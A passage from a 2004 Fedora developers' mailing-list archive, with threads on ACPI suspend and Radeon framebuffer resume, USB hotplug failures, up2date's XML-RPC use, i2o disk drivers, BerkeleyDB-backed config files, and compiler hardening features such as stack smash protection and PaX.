devices work fine with kernel-2.6.6-1.435.2.3 Regards, Angelo From kyrre at solution-forge.net Wed Oct 13 18:42:39 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 13 Oct 2004 20:42:39 +0200 Subject: ACPI w/ Radeon Mobility 9600 (was: Re: APM/ACPI on ThinkPads [ SOLVED ]) In-Reply-To: <20041013192130.4fdb6941@localhost> References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <200410121334.03092.symbiont@berlios.de> <1097581738.2860.7.camel@localhost.localdomain> <1097612977.3723.3.camel@localhost.localdomain> <20041013192130.4fdb6941@localhost> Message-ID: <1097692959.7164.13.camel@kyrre> There is a program called "radeontool" which at least turns of the backligth of the LCD. I have it in my "open/close lid" ACPI scripts. IRDA i have never had working. It migth be the physical port, but i really don't care. Unless i can sync my t610 with evo on my main pc. (why do i think *go get a cheap usb bluetooth dongle and stick it in*?) And for sleep 3 i think i need to disable my usb modules?!? How do i then reload them when comming out of sleep? ons, 13.10.2004 kl. 19.21 skrev Matthias Saou: > Satish Balay wrote : > > > On Tue, 12 Oct 2004, Philip Balister wrote: > > > > > I built the kernel (from the 521 rpm) adding the radeonfb-4g patch > > > from: http://www.loria.fr/~thome/d600/ and changing the config so > > > radeonfb was bult in (not a module). I added the patch to the specfile > > > and used rpmbuild -bp to configure the source (also edited the i686 > > > config file) > > > > I tried the 607 kernel on both the 600E & T40 - and both APM & ACPI > > issues are solved now. > > > > With my brief testing - APM works as before. With ACPI the biggest > > issues was me being a 'clueless user'. The key-binding for > > 'Recover-from-suspend' from 'power switch' to 'Fn'-key - and I assumed > > ACPI breakage. > > > > However ACPI-sleep still consumes lot more power than APM sleep - this > > would be an upsteam issue. > > > > I gess the radeonfb-4g patch isn't required for T40 with ATI-9000 > > It is required for my 9600 Mobility : > - Resuming with the default 607 kernel gives a nasty "melting display" > effect, although blindly rebooting with "Crtl+Alt+F1" then Ctrl+Alt+Del" > works. > - Adding the radeonfb module to the initrd (and video=radeonfb to my > kernel's grub line) gets me the neat fb using full resolution, but same > problem when resuming. > - Rebuilding the kernel rpm with that patch applied and the same settings > as above gets resume working, with this, though : > > Stopping tasks: > ========================================================================== > ==============| > usbhid 2-1:1.0: resume is unsafe! > radeonfb: suspending to state: 3... > agpgart: Found an AGP 2.0 compliant device at 0000:00:00.0. > agpgart: Putting AGP V2 device at 0000:00:00.0 into 0x mode > agpgart: Putting AGP V2 device at 0000:01:00.0 into 0x mode > Back to C! > zapping low mappings. > Debug: sleeping function called from invalid context at mm/slab.c:2063 > in_atomic():0[expected: 0], irqs_disabled():1 > [<0211d869>] __might_sleep+0x7d/0x88 > [<0214b7ea>] __kmalloc+0x42/0x7d > [<02205585>] acpi_os_allocate+0xa/0xb > [<022192db>] acpi_ut_allocate+0x2e/0x52 > [<02219272>] acpi_ut_initialize_buffer+0x41/0x7c > [<022160c0>] acpi_rs_create_byte_stream+0x23/0x3b > [<022174ea>] acpi_rs_set_srs_method_data+0x1b/0x9d > [<0211be1d>] recalc_task_prio+0x128/0x133 > [<0221ed10>] acpi_pci_link_set+0xfe/0x176 > [<0221f094>] irqrouter_resume+0x1c/0x24 > [<0225453a>] sysdev_resume+0x3e/0xa5 > [<022574b0>] device_power_up+0x5/0xa > [<0213d3b6>] suspend_enter+0x25/0x2d > [<0213d424>] enter_state+0x3f/0x5e > [<0221b8ab>] acpi_suspend+0x3b/0x48 > [<0221c310>] acpi_system_write_sleep+0x5c/0x6d > [<021653ae>] vfs_write+0xb6/0xe2 > [<02165478>] sys_write+0x3c/0x62 > PCI: Setting latency timer of device 0000:00:1d.0 to 64 > PCI: Setting latency timer of device 0000:00:1d.0 to 64 > PCI: Setting latency timer of device 0000:00:1d.1 to 64 > PCI: Setting latency timer of device 0000:00:1d.1 to 64 > PCI: Setting latency timer of device 0000:00:1d.2 to 64 > PCI: Setting latency timer of device 0000:00:1d.2 to 64 > ACPI: PCI interrupt 0000:00:1d.7[D] -> GSI 11 (level, low) -> IRQ 11 > PCI: Setting latency timer of device 0000:00:1d.7 to 64 > ACPI: PCI interrupt 0000:00:1f.1[A] -> GSI 11 (level, low) -> IRQ 11 > ACPI: PCI interrupt 0000:00:1f.5[B] -> GSI 7 (level, low) -> IRQ 7 > PCI: Setting latency timer of device 0000:00:1f.5 to 64 > ACPI: PCI interrupt 0000:00:1f.6[B] -> GSI 7 (level, low) -> IRQ 7 > PCI: Setting latency timer of device 0000:00:1f.6 to 64 > zapping low mappings. > radeonfb: resumed ! > PCI: Enabling device 0000:02:01.1 (0000 -> 0002) > ACPI: PCI interrupt 0000:02:01.1[A] -> GSI 11 (level, low) -> IRQ 11 > Restarting tasks...<6>usb 2-1: USB disconnect, address 3 > done > usb 2-1: new low speed USB device using address 4 > input: USB HID v1.10 Mouse [Logitech USB-PS/2 Optical Mouse] on > usb-0000:00:1d.0-1 > ip_tables: (C) 2000-2002 Netfilter core team > Disabled Privacy Extensions on device 0237d4c0(lo) > ip_tables: (C) 2000-2002 Netfilter core team > b44: eth0: Link is up at 100 Mbps, full duplex. > b44: eth0: Flow control is on for TX and on for RX. > > I'm not sure how nasty that "sleeping function called from invalid context" > error is... everything seems fine after a resume, minus the IrDA it seems, > I'll need to unload more modules and stop the irda service from my suspend > script it seems. > > Matthias > > -- > Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ > Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.607.radeon > Load : 3.25 1.94 0.77 From notting at redhat.com Wed Oct 13 19:12:56 2004 From: notting at redhat.com (Bill Nottingham) Date: Wed, 13 Oct 2004 15:12:56 -0400 Subject: hotplug doesn't work on kernels >= 2.6.7 In-Reply-To: <416D73BD.2030806@katamail.com> References: <416D73BD.2030806@katamail.com> Message-ID: <20041013191255.GB28852@nostromo.devel.redhat.com> Angelo (ang3l0 at katamail.com) said: > I've noticed that with kernels (smp and non) >= 2.6.7 hotplugging > (linux-hotplug.sf.net) doesn't work at all on my desktop, on the laptop > works fine. > > I mean that if i plug-in a usb device with the successfully booted > machine it simply doesn't recognize at all that i've plugged in the device: > - NO /var/log/messages after i plug-in > - NO /sbin/hotplug call > - NO debug messages on a full kernel log > - NO strange messages in the dmesg (when booting) > - NO new device using /sbin/lsusb > > Simply nothing strange. Do you get errors from the USB controller initialization? Bill From nutello at sweetness.com Wed Oct 13 19:13:25 2004 From: nutello at sweetness.com (Rudi Chiarito) Date: Wed, 13 Oct 2004 21:13:25 +0200 Subject: nss_updatedb (Was: rawhide report: 20041013 changes) In-Reply-To: <416D27D0.9060801@bppiac.hu> References: <200410131202.i9DC28J14260@porkchop.devel.redhat.com> <416D27D0.9060801@bppiac.hu> Message-ID: <20041013191324.GA31403@server4.8080.it> On Wed, Oct 13, 2004 at 03:04:16PM +0200, Farkas Levente wrote: > if pam_ccreds are added than, it'd be nice to add nss_updatedb too. This is probably a stupid question: how does nss_updatedb differ from nscd? -- Rudi From sopwith at redhat.com Wed Oct 6 19:51:08 2004 From: sopwith at redhat.com (Elliot Lee) Date: Wed, 6 Oct 2004 15:51:08 -0400 Subject: Fedora Project Mailing Lists reminder Message-ID: This is a reminder of the mailing lists for the Fedora Project, and the purpose of each list. You can view this information at http://fedora.redhat.com/participate/communicate/ When you're using these mailing lists, please take the time to choose the one that is most appropriate to your post. If you don't know the right mailing list to use for a question or discussion, please contact me. This will help you get the best possible answer for your question, and keep other list subscribers happy! Mailing Lists Mailing lists are email addresses which send email to all users subscribed to the mailing list. Sending an email to a mailing list reaches all users interested in discussing a specific topic and users available to help other users with the topic. The following mailing lists are available. To subscribe, send email to -request at redhat.com (replace with the desired mailing list name such as fedora-list) with the word subscribe in the subject. fedora-announce-list - Announcements of changes and events. To stay aware of news, subscribe to this list. fedora-list - For users of releases. If you want help with a problem installing or using , this is the list for you. fedora-test-list - For testers of test releases. If you would like to discuss experiences using TEST releases, this is the list for you. fedora-devel-list - For developers, developers, developers. If you are interested in helping create releases, this is the list for you. fedora-docs-list - For participants of the docs project fedora-desktop-list - For discussions about desktop issues such as user interfaces, artwork, and usability fedora-config-list - For discussions about the development of configuration tools fedora-legacy-announce - For announcements about the Fedora Legacy Project fedora-legacy-list - For discussions about the Fedora Legacy Project fedora-selinux-list - For discussions about the Fedora SELinux Project fedora-de-list - For discussions about Fedora in the German language fedora-es-list - For discussions about Fedora in the Spanish language fedora-ja-list - For discussions about Fedora in the Japanese language fedora-i18n-list - For discussions about the internationalization of Fedora Core fedora-trans-list - For discussions about translating the software and documentation associated with the Fedora Project German: fedora-trans-de French: fedora-trans-fr Spanish: fedora-trans-es Italian: fedora-trans-it Brazilian Portuguese: fedora-trans-pt_br Japanese: fedora-trans-ja Korean: fedora-trans-ko Simplified Chinese: fedora-trans-zh_cn Traditional Chinese: fedora-trans-zh_tw From giallu at gmail.com Wed Oct 13 20:45:06 2004 From: giallu at gmail.com (Gianluca Sforna) Date: Wed, 13 Oct 2004 22:45:06 +0200 Subject: hotplug doesn't work on kernels >= 2.6.7 In-Reply-To: <416D73BD.2030806@katamail.com> References: <416D73BD.2030806@katamail.com> Message-ID: P4P800??? guess you are lucky to have a working fedora... https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=121819 On Wed, 13 Oct 2004 20:28:13 +0200, Angelo wrote: > Hi all. > > I've fedora core 2 installed on my desktop and laptop. > > I've noticed that with kernels (smp and non) >= 2.6.7 hotplugging > (linux-hotplug.sf.net) doesn't work at all on my desktop, on the laptop > works fine. > > I mean that if i plug-in a usb device with the successfully booted > machine it simply doesn't recognize at all that i've plugged in the device: > - NO /var/log/messages after i plug-in > - NO /sbin/hotplug call > - NO debug messages on a full kernel log > - NO strange messages in the dmesg (when booting) > - NO new device using /sbin/lsusb > > Simply nothing strange. > > Cold-plugging works fine, I mean plug-in the device and the boot the > machine. > > Is there some way to diagnosticate better the issue and report here or > in bugzilla the results ? > > HW info of the victim box: > - P4P800 Deluxe mobo > - Pentium 4 2.8 HT > - 1GB of DDR RAM > > usb devices tried: > - pendrive > - hp printer > - usb mouse > > All these devices work fine with kernel-2.6.6-1.435.2.3 > > Regards, > Angelo > > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From alikins at redhat.com Wed Oct 13 21:21:50 2004 From: alikins at redhat.com (Adrian Likins) Date: Wed, 13 Oct 2004 17:21:50 -0400 Subject: up2date and XML-RPC GET In-Reply-To: <416C8CF5.7060709@balclutha.org> References: <416C8CF5.7060709@balclutha.org> Message-ID: <20041013212150.GD14887@redhat.com> On Wed, Oct 13, 2004 at 12:03:33PM +1000, Alan Milligan wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > It seems that someone has recently decided that GET requests for up2date > ~ make a lot of sense. > recently being about ~3 year ago > While this is both more efficient in terms of having to read the request > ~ body and having to xml parse it, unfortunately it is not part of the > XML-RPC protocol. Indeed, GET's are not part of the xml-rpc protocol. > > According to Dave Winer's spec at http://www.xmlrpc.com/spec, and to > everyone else, XML-RPC is a HTTP-POST protocol. yup > > I appreciate that XML-RPC's file limitations already require up2date to > return non-XML-RPC payloads, but wonton undermining of these protocols > leads us down the path of Microsoft. > Not sure I understand this leap. up2date uses XML-RPC for rpc style stuff, and standard http GET's for downloads. Theres no "XML-RPC over http GET". The internal api's for xmlrpc requests and GET's may look similar, but this is do to some code abstraction and not a blurring of the protocols. We use some data marshalled into a format similar to XML-RPC in some cases, but that is not XML-RPC. And for whats its worth, up2date in fedora doesn't use XML-RPC at all. Thats only used for communcation with Red Hat Network servers. So this may be a bit off topic for this list. > Can we agree that up2date was not designed and developed exclusively for > RedHat environments, and that as such, it's in all of our interests to > keep it durable. > I'd like to agree with that, but realistically, up2date was designed for Red Hat Linux/Fedora Core/Red Hat Enterprise Linux. I've never intentionally written something to make it imcompatiable with other systems, but I've never released any code to make it particularlly cross platform either. Red Hat distros are the target platform. > I can provide you with the necessary patch to fix this if required, but > I'd first like to hear whether or not you'd apply it. > What is the "this" in the above statement? I'm not sure I understand what exactly it is that needs to be fixed. Adrian From alikins at redhat.com Wed Oct 13 21:36:11 2004 From: alikins at redhat.com (Adrian Likins) Date: Wed, 13 Oct 2004 17:36:11 -0400 Subject: up2date development In-Reply-To: <416D0954.8060401@balclutha.org> References: <416D0954.8060401@balclutha.org> Message-ID: <20041013213611.GE14887@redhat.com> On Wed, Oct 13, 2004 at 08:54:12PM +1000, Alan Milligan wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Sorry, I should have started this in a separate thread to begin with, so > please bear with me for continuing here. > > As stated earlier, we have a firm agenda to ensure up2date remains both > that current with Python and a generalised rpm gui tool. > > As with the earlier post, I'm not too concerned about missing FC3 > cutoff, we're all committed to the long-term of Fedora. > > As outlined, removing the OpenSSL package, rpclib, and other sins, is by > no means trivial (although not that complicated either). But it is > certainly too complex to expect bugzilla to usefully manage the process. > I'm missing some background here I belive. I currently have no intention of removing rpclib (rhnlib you mean?), etc. I'm curious why you want to? Any RFE's/bugs etc for up2date need to land in bugzilla. > At the least, it requires coordination and discussion to agree that all > parties interests are met - I am not interested in doing work that's not > going to be accepted, nor in working upon out of date, irrelevant > images, or difficult back-ports. > > Can I please be put in touch with the affected RH people (on or off the > list), so we can decide upon a manner to proceed, somewhat in the vane > of other open projects we all know and love? I'm the primary developer of up2date. Project decisions as to what I add/fix/spend time on/etc is based on mangement feedback based on Bugzilla entries. Discussing it in email is fine, but before anything gets done, it's going to need to land in Bugzilla so I can get it properly prioritized. Adrian From alan at redhat.com Wed Oct 13 22:38:56 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 13 Oct 2004 18:38:56 -0400 Subject: hotplug doesn't work on kernels >= 2.6.7 In-Reply-To: <20041013191255.GB28852@nostromo.devel.redhat.com> References: <416D73BD.2030806@katamail.com> <20041013191255.GB28852@nostromo.devel.redhat.com> Message-ID: <20041013223856.GD4604@devserv.devel.redhat.com> On Wed, Oct 13, 2004 at 03:12:56PM -0400, Bill Nottingham wrote: > > I mean that if i plug-in a usb device with the successfully booted > > machine it simply doesn't recognize at all that i've plugged in the device: > > - NO /var/log/messages after i plug-in > > - NO /sbin/hotplug call > > - NO debug messages on a full kernel log > > - NO strange messages in the dmesg (when booting) > > - NO new device using /sbin/lsusb > > > > Simply nothing strange. > > Do you get errors from the USB controller initialization? I've seen precisely this problem with the CPIA camera, it gets tied in knots with both FC2 and FC3test deadlocking in a mix of hotplug and module loading it appears. What is your hardware ? From alan at balclutha.org Wed Oct 13 23:42:39 2004 From: alan at balclutha.org (Alan Milligan) Date: Thu, 14 Oct 2004 09:42:39 +1000 Subject: up2date and XML-RPC GET Message-ID: <416DBD6F.6010105@balclutha.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 | The GETs in up2dare are completely outside of the context of an XMLRPC | request. In rpcServer.py, you explicitly set the HTTP request method to GET whilst deliberately using XML-RPC as the transport. This is completely inside the context of your XML-RPC. At this point, you've effectively created your own transmission protocol - - but you're still calling it XML-RPC ... | Nothing about the XMLRPC spec says 'you cannot use GET | requests in conjunction with actual XMLRPC calls.' No, nothing in the HTTP specification forbids you doing this. The XML-RPC specification only refers to HTTP PUT behaviour - anything outside this is therefore dependent upon the underlying HTTP implementation of your web server and thus outside the boundary specified by the XML-RPC protocol. Obviously, our implementation differs from yours. I am simply stating that if you say you are using a protocol, then use it. If you have derived something slightly more proprietry, then that's fine, and it's up to us to then implement the other end if we wish to use your client. But certainly the derivation should be physically distinguishable from it's parent so that we have an opportunity to register the correct handler. That is the cause of my complaint. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBbb1vCfroLk4EZpkRAnNJAJ9C+TxS08WZCkv94hQtCxoXqGOCdACgoPn5 3cQN//q442scxRJ1tuL82Y8= =+HAC -----END PGP SIGNATURE----- From alan at balclutha.org Thu Oct 14 00:30:23 2004 From: alan at balclutha.org (Alan Milligan) Date: Thu, 14 Oct 2004 10:30:23 +1000 Subject: up2date development Message-ID: <416DC89F.7080505@balclutha.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 | Alan Milligan writes: | |>> As stated earlier, we have a firm agenda to ensure up2date remains both |>> that current with Python and a generalised rpm gui tool. | | | Who is 'we'? What is your goal? | Over the next couple of years we are hoping to further develop and roll out our web-based Python/Zope/Plone ISP and CRM products internationally. There are considerable complexities in ensuring all of the constituents are in place for the modules to work. RPM is the perfect tool for us to manage these dependencies and manage large-scale deployments. We also have a client who is controlling the software upgrades of their remote network perimeter management clients, also using our RPMManager. | | I've not not heard anything about removing openssl or rpclib, much | less justification for calling them sins. I suspect you don't fully | understand the constraints and requirements on up2date to really say | for sure what can or can't be removed (which, to be fair, is hard to | know unless you're in RHN as most of those are internal constraints | and requirements at a business or technological level). | Those bits aren't the sins I was refering to (they would be the bits where someone allowed system administrators to write OO code - packageList.py for example). up2date has been around since 1.5 when there was no ssl socket support within Python, the SecretLabs xmlrpclib stuff wasn't part of the core then either. ssl support is now native, so it would make sense to use it. The rpclib code also unfortunately contains the artifact that whoever implemented it completely failed to realise that there is basic http authentication support within XML-RPC. It is simply a matter of placing a colon-delimited user/password in the url. All of code defining and plugging in those proxy transports is irrelevant. We can greatly simplify the code base by removing it. xmlrpclib is reliable and very well understood. I'd not be so sure about what's in the up2date 'extensions'. | up2date is not an open source project. It is open source -software- | (feel free to embrace/extend it all you want), but to date it has been | developed strictly in-house in RHN to meet specific Red Hat goals. | That could conceivably change, given the right set of circumstances, | but it would need to line up with the goals RH and RHN have in mind | for up2date (or, at the very least, not be contrary to those goals). | I absolutely agree. I am quite confident I understand RH's position on this with regard to the real IP of it's business and the competitive advantage it derives from these technologies. We take a very similar view. We already have a up2date client with all of the afore-mentioned changes which meets our objectives. However, if we remain aligned with RH/Fedora, then clients can access our channels with existing software. They can also still connect to RH to get their OS layer, which they may prefer. This is certainly an attractive proposition to us, and we've thus approached you regarding merging some of these changes as (i) they do represent a fairly logical maintenance path for this software anyway; (ii) the cost to us of retro-fitting is about the same as contributing. We are certainly prepared to make available resources both now and in the future to facilitate whatever we can agree. Let's continue talking to see exactly what that is. Regards, Alan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBbcifCfroLk4EZpkRAtq9AJ0Xpg38s8jsCFPkIT+WPwWmqFfcLACfe7PE dE9d6D9WU2r6kMKnvKy5ubs= =fkmm -----END PGP SIGNATURE----- From joshua at xasamail.com Thu Oct 14 03:13:35 2004 From: joshua at xasamail.com (Josh) Date: Thu, 14 Oct 2004 05:13:35 +0200 Subject: (no subject) Message-ID: <200410140313.i9E3DZcq001581@xasamail.com> Hi Friends, I am Joshua, I am working as a software tester. I would like to have your assistance, to get accquit my self with this maliing list. So please, can any body assist me to find the correct path or direct me to suitable site Thank you. Joshua http://www.xasamail.com/ 2000 megabytes Spam Protection, Feeds and Calendar. 2000 megas Antispam, Lector de Feeds y Agenda. From bobgus at rcn.com Thu Oct 14 04:18:14 2004 From: bobgus at rcn.com (Bob Gustafson) Date: Wed, 13 Oct 2004 23:18:14 -0500 Subject: sniff - It doesn't know me anymore.. Message-ID: I did some things and then rebooted It went through the module/application stage of the reboot very quickly (too quickly) and I now have Fedore Core release Rawhide (Rawhide) Kernel 2.6.8-1.610smp on an i686 (none) login: I typed in all of the usual suspects (root, user1, ..), but none are known. Even when I type in 'none', it doesn't know him either. What did I do? I was a bit annoyed that it was wanting me to do an 'e2fsck'. A couple of days ago, I was able to 'umount /boot' and do '/sbin/e2fsck -p /dev/sda1' and similar on all of the partitions except '/'. Doing 'umount /' was not successful (busy, busy) and I could not do e2fsck without umounting that partition. However, there was a lazy umount option 'umount -l /' This completed fine - no busy busy complaints. But, when I went to do '/sbin/e2fsck -p /dev/sda2' on the '/' partition - it still said it was mounted and that terrible things would happen if I continued. Can you imagine that? I already had 'umount'ed it, lazy whatever. So I went ahead and did the e2fsck. And, terrible things did happen. ----- I really did need to download the latest FC2 test release iso disks - and do the i2o driver installs... From mpeters at mac.com Thu Oct 14 04:50:18 2004 From: mpeters at mac.com (Michael A. Peters) Date: Wed, 13 Oct 2004 21:50:18 -0700 Subject: BerkeleyDB and config files Message-ID: <20041014045018.GA5157@devel.mpeters.us> I'd like to suggest a change to the way Fedora Core does some things. I'm not talking about "standard" linux config files like /etc/passwd or / etc/group or /etc/fstab (though the latter would be nice) - I'm talking about Fedora (and RH I suppose since Fedora has become a RH test bed) specific configuration files, such as /etc/security/console.perms and / etc/sysconfig/network-scripts/ifcfg-[iface] type stuff. Rather than store them in flat files, which have different configuration parameters depending upon the file etc., use (maybe optionally) BerkeleyDB. bdb is already needed for the rpm database, so a Fedora system will have bdb installed. Both Python and Perl (as well as many other languages) already have good bdb interfaces, and both Python and Perl also have gtk+ bindings too. If an embedded database was available for storing the configuration information, it would be simpler for packagers to script additions to those files, if necessary - IE the rpm for TiLP (software for talking to a Ti graphing calculator) could easily add (if needed) a class to console.perms with the necessary device node entries, and then add the needed permission definitions for the device class. It also would allow gui administration for some configuration nodes for which there is not a gui. Kind of like how I can change some things in gnome using gconf-editor for which there isn't an existing control panel ready made for the task. It also would make it easier for network administrators who set up box after box with needs to customize some of the default configurations to do so - after the install, a single documented script makes the needed entries/changes to the database and it's done. From notting at redhat.com Thu Oct 14 04:56:47 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 14 Oct 2004 00:56:47 -0400 Subject: Fedora Core 3 Bug Status - 2004-10-14 Message-ID: <20041014045646.GA5643@nostromo.devel.redhat.com> Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') 2004-10-14 Severity Total Closed Need Testing BLOCKER 117 90 ( 76.92 %) 16 ( 17.78 %) TARGET 923 484 ( 52.44 %) 56 ( 11.57 %) Overall 1040 574 ( 55.19 %) 72 ( 12.00 %) 2004-10-13 Severity Total Closed Need Testing BLOCKER 115 85 ( 73.91 %) 13 ( 15.29 %) TARGET 914 478 ( 52.30 %) 57 ( 11.92 %) Overall 1029 563 ( 54.71 %) 70 ( 12.00 %) 2004-10-11 Severity Total Closed Need Testing BLOCKER 105 78 ( 74.29 %) 10 ( 12.82 %) TARGET 892 438 ( 49.10 %) 49 ( 11.19 %) Overall 997 516 ( 51.76 %) 59 ( 11.00 %) 2004-09-30 Severity Total Closed Need Testing BLOCKER 90 67 ( 74.44 %) 11 ( 16.42 %) TARGET 831 374 ( 45.01 %) 45 ( 12.03 %) Overall 921 441 ( 47.88 %) 56 ( 12.00 %) 2004-09-23 Severity Total Closed Need Testing BLOCKER 74 43 ( 58.11 %) 9 ( 20.93 %) TARGET 703 286 ( 40.68 %) 38 ( 13.29 %) Overall 777 329 ( 42.34 %) 47 ( 14.00 %) 2004-09-08 Severity Total Closed Need Testing BLOCKER 35 14 ( 40.00 %) 3 ( 21.43 %) TARGET 591 194 ( 32.83 %) 33 ( 17.01 %) Overall 626 208 ( 33.23 %) 36 ( 17.00 %) 2004-08-18 Severity Total Closed Need Testing TARGET 415 61 ( 14.70 %) 16 ( 26.23 %) From byte at aeon.com.my Thu Oct 14 00:57:54 2004 From: byte at aeon.com.my (Colin Charles) Date: Thu, 14 Oct 2004 10:57:54 +1000 Subject: python2.2 -> python2.3 In-Reply-To: <416C5B8C.7090905@balclutha.org> References: <20041009133012.3482D73662@hormel.redhat.com> <200410112329.19811.symbiont@berlios.de> <416AAD19.6070100@balclutha.org> <200410120026.15134.symbiont@berlios.de> <416C5B8C.7090905@balclutha.org> Message-ID: <1097715474.31106.288.camel@albus.aeon.com.my> On Wed, 2004-10-13 at 08:32, Alan Milligan wrote: > There are also a range of other python-related issues that need to be > addressed within FC. For example: why is there a python2.2 interpreter > embedded within the OpenOffice suite?? Because of the PyUNO bindings that OpenOffice.org supports. Python 2.3.4 integration has happened, but that's something to look out for in OOo 2.0 More information at http://udk.openoffice.org/ -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From Markus.Lidel at shadowconnect.com Thu Oct 14 10:24:42 2004 From: Markus.Lidel at shadowconnect.com (Markus Lidel) Date: Thu, 14 Oct 2004 12:24:42 +0200 Subject: I20 disk driver, etc.. Should I use? In-Reply-To: References: Message-ID: <416E53EA.8040703@shadowconnect.com> Hello, Bob Gustafson wrote: > I noticed that my current disk drivers are deprecated - use I20... > I ran across a note a FAQ and a HOWTO on installing i20 disk driver > support. I think I have a compatible SCSI adapter and disks. > I guess the big questions are: > > 1) will I get any benefit from using i20 (i.e., faster, safer, more disk > fail info, etc.) There are some benchmarks on http://i2o.shadowconnect.com/benchmark.php. > 3) does smartd info work through i20 ? Yep it works. You could monitor each disk using the i2o_scsi module. AFAIK this isn't possible with dpt_i2o... Best regards, Markus Lidel ------------------------------------------ Markus Lidel (Senior IT Consultant) Shadow Connect GmbH Carl-Reisch-Weg 12 D-86381 Krumbach Germany Phone: +49 82 82/99 51-0 Fax: +49 82 82/99 51-11 E-Mail: Markus.Lidel at shadowconnect.com URL: http://www.shadowconnect.com From Markus.Lidel at shadowconnect.com Thu Oct 14 10:32:37 2004 From: Markus.Lidel at shadowconnect.com (Markus Lidel) Date: Thu, 14 Oct 2004 12:32:37 +0200 Subject: I20 disk driver, etc.. Should I use? In-Reply-To: References: <416C8CF5.7060709@balclutha.org> Message-ID: <416E55C5.2080401@shadowconnect.com> Hello, Bob Gustafson wrote: > I have the Adaptec AIC-7902 controller. This is a bigger number than the > controller listed in the first line of the i2o compatibles. Is this OK? There is a own module AIC79xx for you controller. Best regards, Markus Lidel ------------------------------------------ Markus Lidel (Senior IT Consultant) Shadow Connect GmbH Carl-Reisch-Weg 12 D-86381 Krumbach Germany Phone: +49 82 82/99 51-0 Fax: +49 82 82/99 51-11 E-Mail: Markus.Lidel at shadowconnect.com URL: http://www.shadowconnect.com From eric.tanguy at physique.univ-nantes.fr Thu Oct 14 10:32:11 2004 From: eric.tanguy at physique.univ-nantes.fr (eric tanguy) Date: Thu, 14 Oct 2004 12:32:11 +0200 (CEST) Subject: Keyboard problem Message-ID: <2324.80.11.200.87.1097749931.squirrel@webmail.sciences.univ-nantes.fr> I have a french "normal" keyboard and all is fine but i have also an ati remote wonder recognized by the system as a keyboard using the ati_remote module kernel. The problem is this "remote" keyboard seems to be a US one. For example with my french configuration when i press a i obtain q on the screen ... How this problem could be solved ?? Thanks Eric From iago.rubio at hispalinux.es Thu Oct 14 10:32:46 2004 From: iago.rubio at hispalinux.es (Iago Rubio) Date: Thu, 14 Oct 2004 12:32:46 +0200 Subject: BerkeleyDB and config files In-Reply-To: <20041014045018.GA5157@devel.mpeters.us> References: <20041014045018.GA5157@devel.mpeters.us> Message-ID: <1097749965.5636.135.camel@speedy.iagorubio.net> On Thu, 2004-10-14 at 06:50, Michael A. Peters wrote: > I'd like to suggest a change to the way Fedora Core does some things. > I'm not talking about "standard" linux config files like /etc/passwd or / > etc/group or /etc/fstab (though the latter would be nice) - I'm talking > about Fedora (and RH I suppose since Fedora has become a RH test bed) > specific configuration files, such as /etc/security/console.perms and / > etc/sysconfig/network-scripts/ifcfg-[iface] type stuff. > > Rather than store them in flat files, which have different > configuration parameters depending upon the file etc., use (maybe > optionally) BerkeleyDB. Just to point that I don't like central configuration databases, and I don't think it's the way to go. They're single failure points for the whole system. In fact with current selinux improvements, you will not be able to have a central database for all the system, but some smaller databases with different security contexts, to manage MAC on different roles. With this scenario, I don't see any improvements with this changes. Flat files are pretty nice to manage/label. > bdb is already needed for the rpm database, so a Fedora system will > have bdb installed. > > Both Python and Perl (as well as many other languages) already have > good bdb interfaces, and both Python and Perl also have gtk+ bindings > too. What's sure is any scripting language will support open/write/read operations on flat files. > If an embedded database was available for storing the configuration > information, it would be simpler for packagers to script additions to > those files, if necessary - IE the rpm for TiLP (software for talking > to a Ti graphing calculator) could easily add (if needed) a > class to console.perms with the necessary device node entries, and then > add the needed permission definitions for the device class. > > It also would allow gui administration for some configuration nodes for > which there is not a gui. Kind of like how I can change some things in > gnome using gconf-editor for which there isn't an existing control > panel ready made for the task. You'll need a central database for this. You'll need to label this central database, and you'll loose selinux capabilities to use different security contexts per configuration file. Or may be BerkletDB can assign different security contexts to different database entries/tables ? > It also would make it easier for network administrators who set up box > after box with needs to customize some of the default configurations to > do so - after the install, a single documented script makes the needed > entries/changes to the database and it's done. A plain python - or shell, or Perl, ... - script can do the job on flat files also. -- Iago Rubio - GPG Keyserv * pgp.rediris.es id=0x909BD4DD From j.w.r.degoede at hhs.nl Thu Oct 14 10:52:38 2004 From: j.w.r.degoede at hhs.nl (Hans de Goede) Date: Thu, 14 Oct 2004 12:52:38 +0200 Subject: Improving security Message-ID: <416E5A76.4050906@hhs.nl> Hi, I just read this interesting article on lwn: http://lwn.net/Articles/106214/ (lwn subscriber only) This talks about things like: 1 Stack Smash Protection 2 PAX (alternative Exec Shield) 3 Position Independent Executables. Stack Smash Protection sounds like a cool feature to me. I don't know what the performance impact is, but as a developer even if it is to slow to use by default I would love to have it intergrated into the gcc shipped by Fedora to make debugging easier. PAX uses tricks to get a non executable stack, and assignes random addresses to PIE executables, which Fedora already has in the form of Exec Shield, good! But if I undertand it correctly PAX does more for example also make data pages non executable, this might be something worth looking into. PIE we already have, good! Regards, Hans From pnasrat at redhat.com Thu Oct 14 11:07:11 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Thu, 14 Oct 2004 12:07:11 +0100 Subject: Keyboard problem In-Reply-To: 